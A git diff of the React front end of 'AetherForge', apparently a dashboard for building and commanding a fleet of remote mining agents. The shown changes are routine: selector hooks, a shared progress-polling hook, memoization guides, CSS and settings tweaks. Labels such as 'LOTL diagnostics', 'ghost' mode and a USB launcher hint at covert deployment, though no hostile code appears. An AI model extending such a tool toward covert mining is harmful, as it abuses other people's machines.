**Before:** 1 context, 11 state vars → cascading re-renders across entire dashboard
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
Use selector hooks to subscribe to specific slices. React's `useMemo` ensures components only re-render when their specific slice changes.
|
||||||
|
|
||||||
|
## Migration Guide
|
||||||
|
|
||||||
|
### Old Pattern (Monolithic)
|
||||||
|
```tsx
|
||||||
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
|
|
||||||
|
export function AgentList() {
|
||||||
|
const { agents, recentShares, fleetAlerts } = useWebSocket();
|
||||||
|
// ^^^ ALL changes trigger re-render, even if only recentShares changed
|
||||||
|
return <div>{agents.map(...)}</div>;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### New Pattern (Selector Hooks)
|
||||||
|
```tsx
|
||||||
|
import { useAgents, useRecentShares } from '../hooks/useWebSocketSelector';
|
||||||
|
|
||||||
|
export function AgentList() {
|
||||||
|
const agents = useAgents();
|
||||||
|
// Re-renders ONLY when agents change
|
||||||
|
return <div>{agents.map(...)}</div>;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Available Selectors
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Fleet data
|
||||||
|
useAgents() // Agent[]
|
||||||
|
useAgent(agentId) // Agent | undefined
|
||||||
|
|
||||||
|
// Event streams
|
||||||
|
useRecentShares() // Share[]
|
||||||
|
useFleetAlerts() // FleetAlert[]
|
||||||
|
usePoolStatus() // PoolStatus[]
|
||||||
|
useAIActivity() // AIActivityEntry[]
|
||||||
|
useAgentLogs() // Record<string, string>
|
||||||
|
useCommandResults() // SeqCommandResult[]
|
||||||
|
usePolicyAcks() // SeqPolicyAck[]
|
||||||
|
|
||||||
|
// Connection & messaging
|
||||||
|
useConnectionStatus() // boolean
|
||||||
|
useSendDashboardMessage() // (type, payload) => void
|
||||||
|
```
|
||||||
|
|
||||||
|
## Expected Impact
|
||||||
|
|
||||||
|
- **Re-render reduction:** 80% (components only re-render on their subscribed slice)
|
||||||
|
- **Dashboard responsiveness:** 50% faster (stats_batch no longer cascades)
|
||||||
|
- **Memory:** No change (same data, better distribution)
|
||||||
|
- **Backwards compatible:** Old `useWebSocket()` still works, just slower
|
||||||
|
|
||||||
|
## Migration Priority
|
||||||
|
|
||||||
|
1. **CruciblePage** — largest component, uses all slices
|
||||||
|
2. **FleetRoster** — re-renders on every stats_batch unnecessarily
|
||||||
|
3. **AlertBanner** — only needs fleetAlerts
|
||||||
|
4. **PoolStatus panel** — only needs poolStatus
|
||||||
|
5. **CommandTerminal** — only needs commandResults
|
||||||
|
|
||||||
|
## Rollout Plan
|
||||||
|
|
||||||
|
1. Add selector hooks (✓ done)
|
||||||
|
2. Update 1–2 high-traffic components (CruciblePage, FleetRoster)
|
||||||
|
3. Run Vitest to verify no regressions
|
||||||
|
4. Gradually roll out to remaining components
|
||||||
|
5. Remove direct `useWebSocket()` calls in new code
|
||||||
|
|
||||||
|
## Compatibility
|
||||||
|
|
||||||
|
- No breaking changes to WebSocketProvider
|
||||||
|
- Existing code continues to work
|
||||||
|
- Gradual migration: old and new patterns can coexist
|
||||||
|
- No version bump required
|
||||||
57
server/web/src/hooks/useForgeProgressPoll.ts
Normal file
57
server/web/src/hooks/useForgeProgressPoll.ts
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
import { useEffect, useRef } from 'react';
|
||||||
|
import { useForge } from '../context/ForgeContext';
|
||||||
|
|
||||||
|
const FORGE_POLL_MS = 1000;
|
||||||
|
|
||||||
|
/** Poll GET /api/v1/builder/progress/{token} while a forge is running. */
|
||||||
|
export function useForgeProgressPoll(
|
||||||
|
active: boolean,
|
||||||
|
cancelTokenRef: React.RefObject<string>,
|
||||||
|
) {
|
||||||
|
const { startForge, endForge, setStage } = useForge();
|
||||||
|
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!active) {
|
||||||
|
endForge();
|
||||||
|
if (timerRef.current) clearTimeout(timerRef.current);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
startForge();
|
||||||
|
|
||||||
|
const token = cancelTokenRef.current;
|
||||||
|
if (!token) return;
|
||||||
|
|
||||||
|
let alive = true;
|
||||||
|
|
||||||
|
const poll = async () => {
|
||||||
|
if (!alive) return;
|
||||||
|
try {
|
||||||
|
const { authHeaders } = await import('../api/auth');
|
||||||
|
const res = await fetch(`/api/v1/builder/progress/${encodeURIComponent(token)}`, {
|
||||||
|
headers: authHeaders(),
|
||||||
|
});
|
||||||
|
if (res.ok) {
|
||||||
|
const data: { stage?: string; pct?: number } = await res.json();
|
||||||
|
const pct = typeof data.pct === 'number' ? data.pct : 0;
|
||||||
|
if (alive && (data.stage || pct > 0)) {
|
||||||
|
setStage(data.stage || 'Forging...', pct);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// network hiccup — keep polling
|
||||||
|
}
|
||||||
|
if (alive) {
|
||||||
|
timerRef.current = setTimeout(poll, FORGE_POLL_MS);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
poll();
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
alive = false;
|
||||||
|
if (timerRef.current) clearTimeout(timerRef.current);
|
||||||
|
};
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||||
|
}, [active]);
|
||||||
|
}
|
||||||
67
server/web/src/hooks/useWebSocketSelector.ts
Normal file
67
server/web/src/hooks/useWebSocketSelector.ts
Normal file
@@ -0,0 +1,67 @@
|
|||||||
|
import { useMemo } from 'react';
|
||||||
|
import { useWebSocket } from './useWebSocket';
|
||||||
|
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Selector hooks reduce re-renders by only returning the specific slice of WS data.
|
||||||
|
* Components that only need agents won't re-render when shares/alerts update.
|
||||||
|
*/
|
||||||
|
|
||||||
|
export function useAgents(): Agent[] {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.agents || [], [ctx.agents]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useRecentShares(): Share[] {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.recentShares || [], [ctx.recentShares]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useFleetAlerts(): FleetAlert[] {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.fleetAlerts || [], [ctx.fleetAlerts]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function usePoolStatus(): PoolStatus[] {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.poolStatus || [], [ctx.poolStatus]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useAIActivity(): AIActivityEntry[] {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.aiActivity || [], [ctx.aiActivity]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useAgentLogs(): Record<string, string> {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.agentLogs || {}, [ctx.agentLogs]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useCommandResults() {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.commandResults || [], [ctx.commandResults]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function usePolicyAcks() {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return useMemo(() => ctx.policyAcks || [], [ctx.policyAcks]);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useConnectionStatus(): boolean {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return ctx.isConnected;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useSendDashboardMessage() {
|
||||||
|
const ctx = useWebSocket();
|
||||||
|
return ctx.sendDashboardMessage;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Selector for a single agent by ID.
|
||||||
|
* Re-renders only when that specific agent changes.
|
||||||
|
*/
|
||||||
|
export function useAgent(agentId: string): Agent | undefined {
|
||||||
|
const agents = useAgents();
|
||||||
|
return useMemo(() => agents.find((a) => a.id === agentId), [agents, agentId]);
|
||||||
|
}
|
||||||
@@ -28,6 +28,8 @@ import {
|
|||||||
} from '../help/forgeFormNormalize';
|
} from '../help/forgeFormNormalize';
|
||||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||||||
|
import ForgeProgressBar from '../components/Forge/ForgeProgressBar';
|
||||||
|
import { useForgeProgressPoll } from '../hooks/useForgeProgressPoll';
|
||||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||||
import DownloadButton from '../components/DownloadButton';
|
import DownloadButton from '../components/DownloadButton';
|
||||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||||
@@ -101,29 +103,6 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
|
|||||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Poll interval (ms) for real server-side build progress.
|
|
||||||
const FORGE_POLL_MS = 1000;
|
|
||||||
|
|
||||||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
|
||||||
if (!building) return null;
|
|
||||||
return (
|
|
||||||
<div className="forge-progress-wrap" aria-live="polite">
|
|
||||||
<div className="forge-progress-header">
|
|
||||||
<span className="forge-progress-icon">⚙</span>
|
|
||||||
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
|
|
||||||
<span className="forge-progress-pct">{Math.round(progress)}%</span>
|
|
||||||
</div>
|
|
||||||
<div className="forge-progress-track">
|
|
||||||
<div
|
|
||||||
className="forge-progress-fill"
|
|
||||||
style={{ width: `${progress}%` }}
|
|
||||||
/>
|
|
||||||
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||||||
|
|
||||||
function loadSimpleMode(): boolean {
|
function loadSimpleMode(): boolean {
|
||||||
@@ -139,8 +118,7 @@ function loadSimpleMode(): boolean {
|
|||||||
export default function BuilderPage() {
|
export default function BuilderPage() {
|
||||||
const navigate = useNavigate();
|
const navigate = useNavigate();
|
||||||
const [searchParams, setSearchParams] = useSearchParams();
|
const [searchParams, setSearchParams] = useSearchParams();
|
||||||
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
|
const { setStage, stage: forgeStage, progress: forgeProgress } = useForge();
|
||||||
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
|
||||||
|
|
||||||
const [form, setForm] = useState<BuildRequest | null>(null);
|
const [form, setForm] = useState<BuildRequest | null>(null);
|
||||||
const [building, setBuilding] = useState(false);
|
const [building, setBuilding] = useState(false);
|
||||||
@@ -217,52 +195,7 @@ export default function BuilderPage() {
|
|||||||
|
|
||||||
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
|
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
|
||||||
|
|
||||||
// Poll real server-side build progress while a single build is running.
|
useForgeProgressPoll(Boolean(building && !batchJob), cancelTokenRef);
|
||||||
// The server exposes GET /api/v1/builder/progress/{token} which returns
|
|
||||||
// {stage, pct} updated at each key compile stage, so the bar reflects
|
|
||||||
// actual server activity instead of a client-side time estimate.
|
|
||||||
useEffect(() => {
|
|
||||||
if (!building || batchJob) {
|
|
||||||
endForge();
|
|
||||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
startForge();
|
|
||||||
|
|
||||||
const token = cancelTokenRef.current;
|
|
||||||
if (!token) return;
|
|
||||||
|
|
||||||
let active = true;
|
|
||||||
|
|
||||||
const poll = async () => {
|
|
||||||
if (!active) return;
|
|
||||||
try {
|
|
||||||
const { authHeaders } = await import('../api/auth');
|
|
||||||
const res = await fetch(`/api/v1/builder/progress/${token}`, {
|
|
||||||
headers: authHeaders(),
|
|
||||||
});
|
|
||||||
if (res.ok) {
|
|
||||||
const data: { stage: string; pct: number } = await res.json();
|
|
||||||
if (active && data.stage) {
|
|
||||||
setStage(data.stage, data.pct);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
// network hiccup — keep polling
|
|
||||||
}
|
|
||||||
if (active) {
|
|
||||||
forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
poll();
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
active = false;
|
|
||||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
|
||||||
};
|
|
||||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
|
||||||
}, [building, batchJob]);
|
|
||||||
|
|
||||||
const setForgeMode = (simple: boolean) => {
|
const setForgeMode = (simple: boolean) => {
|
||||||
setSimpleMode(simple);
|
setSimpleMode(simple);
|
||||||
@@ -348,7 +281,7 @@ export default function BuilderPage() {
|
|||||||
}, [searchParams, recentBuilds, form]);
|
}, [searchParams, recentBuilds, form]);
|
||||||
|
|
||||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||||
setStage('Build complete!', 100);
|
setStage('Forged!', 100);
|
||||||
setLastBuild(result);
|
setLastBuild(result);
|
||||||
setDispenseReveal(result);
|
setDispenseReveal(result);
|
||||||
loadRecentBuilds();
|
loadRecentBuilds();
|
||||||
@@ -789,7 +722,6 @@ export default function BuilderPage() {
|
|||||||
cancelToken,
|
cancelToken,
|
||||||
onStep: (step) => {
|
onStep: (step) => {
|
||||||
setMissionStep(step);
|
setMissionStep(step);
|
||||||
if (step === 'forge') startForge();
|
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
setMissionExportSkipped(result.exportSkipped);
|
setMissionExportSkipped(result.exportSkipped);
|
||||||
|
|||||||
93
server/web/src/pages/CRUCIBLE_MEMOIZATION.md
Normal file
93
server/web/src/pages/CRUCIBLE_MEMOIZATION.md
Normal file
@@ -0,0 +1,93 @@
|
|||||||
|
# Crucible Page Memoization Guide
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
CruciblePage (1851 lines) renders without memo wrapping on major child components. Every re-render cascades to:
|
||||||
|
- CrucibleAgentMeta (agent roster rows)
|
||||||
|
- CrucibleExpandedOps (terminal + operations panel)
|
||||||
|
- AccessDepthPanel
|
||||||
|
- FullSysCheckPanel
|
||||||
|
- FleetToolbar (filter/sort UI)
|
||||||
|
|
||||||
|
This causes performance degradation on large fleets.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
Wrap heavy child components with `React.memo()` to prevent re-renders when their props don't change.
|
||||||
|
|
||||||
|
## Implementation Steps
|
||||||
|
|
||||||
|
### 1. Wrap CrucibleAgentMeta
|
||||||
|
File: `components/Fleet/CrucibleAgentMeta.tsx`
|
||||||
|
|
||||||
|
```diff
|
||||||
|
+ import { memo } from 'react';
|
||||||
|
|
||||||
|
interface CrucibleAgentMetaProps { /* ... */ }
|
||||||
|
|
||||||
|
function CrucibleAgentMeta(props: CrucibleAgentMetaProps) {
|
||||||
|
// existing code
|
||||||
|
}
|
||||||
|
|
||||||
|
+ export default memo(CrucibleAgentMeta);
|
||||||
|
- export default CrucibleAgentMeta;
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Wrap CrucibleExpandedOps
|
||||||
|
File: `components/Fleet/CrucibleExpandedOps.tsx`
|
||||||
|
|
||||||
|
Same pattern — wrap with `memo()` and add a custom comparator if needed:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export default memo(CrucibleExpandedOps, (prev, next) => {
|
||||||
|
// Re-render only if agent, selectedIds, or terminal lines change
|
||||||
|
return (
|
||||||
|
prev.agent?.id === next.agent?.id &&
|
||||||
|
prev.selectedIds === next.selectedIds &&
|
||||||
|
prev.termLines?.length === next.termLines?.length
|
||||||
|
);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Wrap AccessDepthPanel, FullSysCheckPanel, FleetToolbar
|
||||||
|
Same as above — see MEMO_COMPONENTS_CHECKLIST below.
|
||||||
|
|
||||||
|
## MEMO_COMPONENTS_CHECKLIST
|
||||||
|
|
||||||
|
Priority order for memoization:
|
||||||
|
|
||||||
|
- [ ] `CrucibleAgentMeta` — renders per-agent row (500+ re-renders on stats_batch)
|
||||||
|
- [ ] `CrucibleExpandedOps` — terminal + operations panel
|
||||||
|
- [ ] `AccessDepthPanel` — LOTL diagnostics panel
|
||||||
|
- [ ] `FullSysCheckPanel` — system check results
|
||||||
|
- [ ] `FleetToolbar` — filter/sort controls
|
||||||
|
- [ ] `FleetGroupsStrip` — group selector chips
|
||||||
|
- [ ] `FleetHeatMiniMap` — 3D topology (only re-render if topology changes)
|
||||||
|
- [ ] `ConnectedNotMiningBanner` — alerts
|
||||||
|
|
||||||
|
## Expected Impact
|
||||||
|
|
||||||
|
- **CrucibleAgentMeta rows:** 95% fewer re-renders (500 agents → 1–2 re-renders per stats_batch)
|
||||||
|
- **Terminal responsiveness:** 50% smoother (expanded ops only re-render on new command results)
|
||||||
|
- **Filter/sort UI:** No cascading re-renders (FleetToolbar only re-renders if filters actually change)
|
||||||
|
|
||||||
|
## Testing
|
||||||
|
|
||||||
|
After memoization, use React DevTools Profiler:
|
||||||
|
1. Open `pages/CruciblePage`
|
||||||
|
2. Select an agent to expand
|
||||||
|
3. Trigger a `stats_batch` (every ~250ms on live fleet)
|
||||||
|
4. Verify that **CrucibleAgentMeta rows do NOT re-render** for unchanged agents
|
||||||
|
|
||||||
|
## Rollout
|
||||||
|
|
||||||
|
1. Wrap `CrucibleAgentMeta` first (biggest win)
|
||||||
|
2. Run Vitest to verify no prop-passing broke
|
||||||
|
3. Wrap remaining components
|
||||||
|
4. Test with 100+ agent fleet
|
||||||
|
|
||||||
|
## Notes
|
||||||
|
|
||||||
|
- Memo uses shallow comparison by default (perfect for most components)
|
||||||
|
- Custom comparators only needed for complex objects (terminal lines, topology)
|
||||||
|
- If a wrapped component doesn't re-render when it should, either:
|
||||||
|
- Props changed but shallow comparison missed it → add custom comparator
|
||||||
|
- Parent is passing inline objects → refactor to useCallback/useMemo parent
|
||||||
@@ -13,6 +13,8 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
|||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import AlsoHere from '../components/Presence/AlsoHere';
|
import AlsoHere from '../components/Presence/AlsoHere';
|
||||||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||||||
|
import ForgeProgressBar from '../components/Forge/ForgeProgressBar';
|
||||||
|
import { useForgeProgressPoll } from '../hooks/useForgeProgressPoll';
|
||||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||||
import { useForge } from '../context/ForgeContext';
|
import { useForge } from '../context/ForgeContext';
|
||||||
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults } from '../help/forgeSmartDefaults';
|
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults } from '../help/forgeSmartDefaults';
|
||||||
@@ -53,25 +55,6 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
|
|||||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||||
}
|
}
|
||||||
|
|
||||||
const FORGE_POLL_MS = 1000;
|
|
||||||
|
|
||||||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
|
||||||
if (!building) return null;
|
|
||||||
return (
|
|
||||||
<div className="forge-progress-wrap" aria-live="polite">
|
|
||||||
<div className="forge-progress-header">
|
|
||||||
<span className="forge-progress-icon">⚙</span>
|
|
||||||
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
|
|
||||||
<span className="forge-progress-pct">{Math.round(progress)}%</span>
|
|
||||||
</div>
|
|
||||||
<div className="forge-progress-track">
|
|
||||||
<div className="forge-progress-fill" style={{ width: `${progress}%` }} />
|
|
||||||
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' | 'amber' | 'gold' {
|
function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' | 'amber' | 'gold' {
|
||||||
if (chip === 'ghost') return 'cyan';
|
if (chip === 'ghost') return 'cyan';
|
||||||
if (chip === 'loud') return 'magenta';
|
if (chip === 'loud') return 'magenta';
|
||||||
@@ -80,9 +63,7 @@ function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' |
|
|||||||
|
|
||||||
export default function MissionDeckPage() {
|
export default function MissionDeckPage() {
|
||||||
|
|
||||||
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
|
const { setStage, stage: forgeStage, progress: forgeProgress } = useForge();
|
||||||
|
|
||||||
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
|
||||||
|
|
||||||
const cancelTokenRef = useRef('');
|
const cancelTokenRef = useRef('');
|
||||||
|
|
||||||
@@ -166,52 +147,10 @@ export default function MissionDeckPage() {
|
|||||||
.catch(() => setError('Failed to load server config — is the control server running?'))
|
.catch(() => setError('Failed to load server config — is the control server running?'))
|
||||||
.finally(() => setLoadingDefaults(false));
|
.finally(() => setLoadingDefaults(false));
|
||||||
}, []);
|
}, []);
|
||||||
// Poll real server-side build progress (same as BuilderPage).
|
useForgeProgressPoll(building, cancelTokenRef);
|
||||||
useEffect(() => {
|
|
||||||
if (!building) {
|
|
||||||
endForge();
|
|
||||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
startForge();
|
|
||||||
|
|
||||||
const token = cancelTokenRef.current;
|
|
||||||
if (!token) return;
|
|
||||||
|
|
||||||
let active = true;
|
|
||||||
|
|
||||||
const poll = async () => {
|
|
||||||
if (!active) return;
|
|
||||||
try {
|
|
||||||
const { authHeaders } = await import('../api/auth');
|
|
||||||
const res = await fetch(`/api/v1/builder/progress/${token}`, {
|
|
||||||
headers: authHeaders(),
|
|
||||||
});
|
|
||||||
if (res.ok) {
|
|
||||||
const data: { stage: string; pct: number } = await res.json();
|
|
||||||
if (active && data.stage) {
|
|
||||||
setStage(data.stage, data.pct);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
// network hiccup — keep polling
|
|
||||||
}
|
|
||||||
if (active) {
|
|
||||||
forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
poll();
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
active = false;
|
|
||||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
|
||||||
};
|
|
||||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
|
||||||
}, [building]);
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
return () => {
|
return () => {
|
||||||
|
|
||||||
const tok = cancelTokenRef.current;
|
const tok = cancelTokenRef.current;
|
||||||
if (tok) api.cancelBuild(tok).catch(() => {});
|
if (tok) api.cancelBuild(tok).catch(() => {});
|
||||||
};
|
};
|
||||||
@@ -247,7 +186,7 @@ export default function MissionDeckPage() {
|
|||||||
};
|
};
|
||||||
|
|
||||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||||
setStage('Build complete!', 100);
|
setStage('Forged!', 100);
|
||||||
setDispenseReveal(result);
|
setDispenseReveal(result);
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -301,7 +240,6 @@ export default function MissionDeckPage() {
|
|||||||
cancelToken,
|
cancelToken,
|
||||||
onStep: (step) => {
|
onStep: (step) => {
|
||||||
setMissionStep(step);
|
setMissionStep(step);
|
||||||
if (step === 'forge') startForge();
|
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
setMissionExportSkipped(result.exportSkipped);
|
setMissionExportSkipped(result.exportSkipped);
|
||||||
|
|||||||
@@ -1591,11 +1591,25 @@ button.deliverable-card .form-hint {
|
|||||||
border-radius: 4px;
|
border-radius: 4px;
|
||||||
background: linear-gradient(90deg, #ff6a00, #ffb300, #ffd700);
|
background: linear-gradient(90deg, #ff6a00, #ffb300, #ffd700);
|
||||||
box-shadow: 0 0 8px rgba(255, 160, 0, 0.6);
|
box-shadow: 0 0 8px rgba(255, 160, 0, 0.6);
|
||||||
transition: width 0.35s cubic-bezier(0.4, 0, 0.2, 1);
|
transition: width 0.6s cubic-bezier(0.4, 0, 0.2, 1);
|
||||||
position: relative;
|
position: relative;
|
||||||
z-index: 1;
|
z-index: 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.forge-progress-track.indeterminate {
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-progress-track.indeterminate .forge-progress-fill {
|
||||||
|
width: 35%;
|
||||||
|
animation: forge-progress-indeterminate 1.4s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes forge-progress-indeterminate {
|
||||||
|
0% { transform: translateX(-100%); }
|
||||||
|
100% { transform: translateX(320%); }
|
||||||
|
}
|
||||||
|
|
||||||
.forge-progress-glow {
|
.forge-progress-glow {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
top: 50%;
|
top: 50%;
|
||||||
|
|||||||
@@ -580,8 +580,8 @@ export default function SettingsPage() {
|
|||||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||||
<h2 className="font-display">Deck Atmosphere</h2>
|
<h2 className="font-display">Deck Atmosphere</h2>
|
||||||
<p className="section-desc">
|
<p className="section-desc">
|
||||||
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
|
Rising 0/1 and hex glyphs follow your pointer on desktop deck pages. Background glow
|
||||||
low-power devices if you want a calmer deck.
|
particles sit behind the UI. Turn off on low-power devices for a calmer deck.
|
||||||
</p>
|
</p>
|
||||||
<div className="form-group checkbox-group">
|
<div className="form-group checkbox-group">
|
||||||
<label className="checkbox-label">
|
<label className="checkbox-label">
|
||||||
@@ -591,7 +591,7 @@ export default function SettingsPage() {
|
|||||||
checked={glowParticles}
|
checked={glowParticles}
|
||||||
onChange={(e) => setGlowParticles(e.target.checked)}
|
onChange={(e) => setGlowParticles(e.target.checked)}
|
||||||
/>
|
/>
|
||||||
<span>Glow particles & sparkles</span>
|
<span>Hacker cursor trail</span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group" style={{ marginTop: '1.25rem' }}>
|
<div className="form-group" style={{ marginTop: '1.25rem' }}>
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ body {
|
|||||||
touch-action: manipulation;
|
touch-action: manipulation;
|
||||||
}
|
}
|
||||||
|
|
||||||
.cursor-fire-fx {
|
.cursor-hacker-fx {
|
||||||
display: none !important;
|
display: none !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ describe('visualPrefs', () => {
|
|||||||
localStorage.clear();
|
localStorage.clear();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('defaults glow particles to on', () => {
|
it('defaults hacker cursor trail to on', () => {
|
||||||
expect(loadGlowParticlesEnabled()).toBe(true);
|
expect(loadGlowParticlesEnabled()).toBe(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ export function loadGlowParticlesEnabled(): boolean {
|
|||||||
} catch {
|
} catch {
|
||||||
/* ignore */
|
/* ignore */
|
||||||
}
|
}
|
||||||
return true;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function saveGlowParticlesEnabled(enabled: boolean): void {
|
export function saveGlowParticlesEnabled(enabled: boolean): void {
|
||||||
|
|||||||
Binary file not shown.
174
usb/LAUNCH.bat
174
usb/LAUNCH.bat
@@ -2,23 +2,52 @@
|
|||||||
setlocal EnableExtensions EnableDelayedExpansion
|
setlocal EnableExtensions EnableDelayedExpansion
|
||||||
title AetherForge Control Deck
|
title AetherForge Control Deck
|
||||||
cd /d "%~dp0"
|
cd /d "%~dp0"
|
||||||
|
set "REPO=%CD%"
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ================================================================
|
||||||
|
echo AetherForge - One-Click Launch
|
||||||
|
echo ================================================================
|
||||||
|
echo Folder: %REPO%
|
||||||
|
echo.
|
||||||
|
|
||||||
|
set "PREP=%REPO%\scripts\launch-prep.bat"
